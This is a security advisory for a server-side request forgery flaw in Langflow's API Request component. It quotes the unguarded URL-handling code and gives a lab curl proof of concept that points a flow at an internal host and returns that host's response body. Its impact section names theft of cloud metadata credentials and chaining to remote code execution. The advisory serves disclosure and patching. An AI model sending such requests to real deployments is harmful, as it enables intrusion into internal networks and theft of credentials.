GHSA-5993-7p27-66g5 (CVE-2025-68477)

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code

When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359

@router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True)
async def simplified_run_flow(
    *,
    background_tasks: BackgroundTasks,
    flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],
    input_request: SimplifiedAPIRequest | None = None,
    stream: bool = False,
    api_key_user: Annotated[UserRead, Depends(api_key_security)],
    context: dict | None = None,
    http_request: Request,
):

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588

@router.post(
    "/run/advanced/{flow_id_or_name}",
    response_model=RunResponse,
    response_model_exclude_none=True,
)
async def experimental_run_flow(
    *,
    session: DbSession,
    flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],
    inputs: list[InputValueRequest] | None = None,
    outputs: list[str] | None = None,
    tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,
    stream: Annotated[bool, Body(embed=True)] = False,
    session_id: Annotated[None | str, Body(embed=True)] = None,
    api_key_user: Annotated[UserRead, Depends(api_key_security)],
) -> RunResponse:

Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289

    def _normalize_url(self, url: str) -> str:
        """Normalize URL by adding https:// if no protocol is specified."""
        if not url or not isinstance(url, str):
            msg = "URL cannot be empty"
            raise ValueError(msg)

        url = url.strip()
        if url.startswith(("http://", "https://")):
            return url
        return f"https://{url}"

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438

        url = self._normalize_url(url)

        # Validate URL
        if not validators.url(url):
            msg = f"Invalid URL provided: {url}"
            raise ValueError(msg)

On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322

        try:
            # Prepare request parameters
            request_params = {
                "method": method,
                "url": url,
                "headers": headers,
                "json": processed_body,
                "timeout": timeout,
                "follow_redirects": follow_redirects,
            }
            response = await client.request(**request_params)

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340

            # Base metadata
            metadata = {
                "source": url,
                "status_code": response.status_code,
                "response_headers": response_headers,
            }

https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379

            # Handle response content
            if is_binary:
                result = response.content
            else:
                try:
                    result = response.json()
                except json.JSONDecodeError:
                    self.log("Failed to decode JSON response")
                    result = response.text.encode("utf-8")

            metadata["result"] = result

            if include_httpx_metadata:
                metadata.update({"headers": headers})

            return Data(data=metadata)

PoC

PoC Description

I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3.
I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOW_ID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

Langflow Setting
<img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" />

Exploit

curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \
  -H 'Content-Type: application/json' \
  -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \
  --data-raw '{
    "inputs":[{"components":[],"input_value":""}],
    "outputs":["Chat Output"],
    "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}},
    "stream":false
  }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'

Impact

Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.

Mondoo Vulnerability Intelligence

GHSA-5993-7p27-66g5

Details

PoC

Impact

Affected Packages

References

Aliases

CVSS Analysis

Related

Ecosystems

Timeline